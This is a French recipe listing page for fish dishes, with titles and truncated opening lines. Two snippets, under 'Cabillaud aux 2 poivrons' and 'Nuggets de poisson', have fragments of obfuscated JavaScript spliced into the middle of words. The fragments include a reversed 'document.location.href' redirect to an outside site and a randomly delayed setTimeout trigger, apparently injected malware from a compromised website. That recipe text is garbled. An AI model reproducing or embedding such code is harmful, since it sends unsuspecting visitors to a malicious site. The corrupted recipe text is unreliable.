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Catégories : Abats , Boissons , Bouillons , Confiseries , Desserts , Fruits , Légumes

Recipes From Cuisine: Poissons

Queue de cabillaud au beurre anisé

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Déposez la queue de cabillaud dans un plat allant au four, salez, poivrez, arrosez de ...

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Daurade en croûte de sel

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Versez 1 kg de gros sel dans un plat allant au four. Posez la daurade ...

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Gratin de homard

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Faire cuire la chair de homard pendant 15 minutes dans une eau bouillante salée. pelez ...

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Marmite de poissons

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Grattez,  rincez les moules. Coupez le saumon et le cabillaud en morceaux. Pelez, émincez les ...

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Tartare de poissons à la tahitienne

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Coupez chaque ananas en deux dans le sens de la hauteur sans les abîmer. Prélevez-en ...

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Acras de morue

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Dans un récipient d’eau froide, plongez le filet de morue et faites les  dessaler la ...

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Lieu jaune aux aromates

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Pelez, coupez en deux les gousses d’ail. Ôtez le germe. Pelez, hachez les oignons. Pelez, ...

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Cabillaud aux 2 poivrons

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Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande casserole d’eau bouillante salée. ...

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Nuggets de poisson

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Découpez les filets de poisson en bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonnets de 10 ...

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Maquereaux à la vénitienne

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Rincez, séchez les filets de maquereaux. Pelez, coupez en quatre les pommes de terre. Les ...

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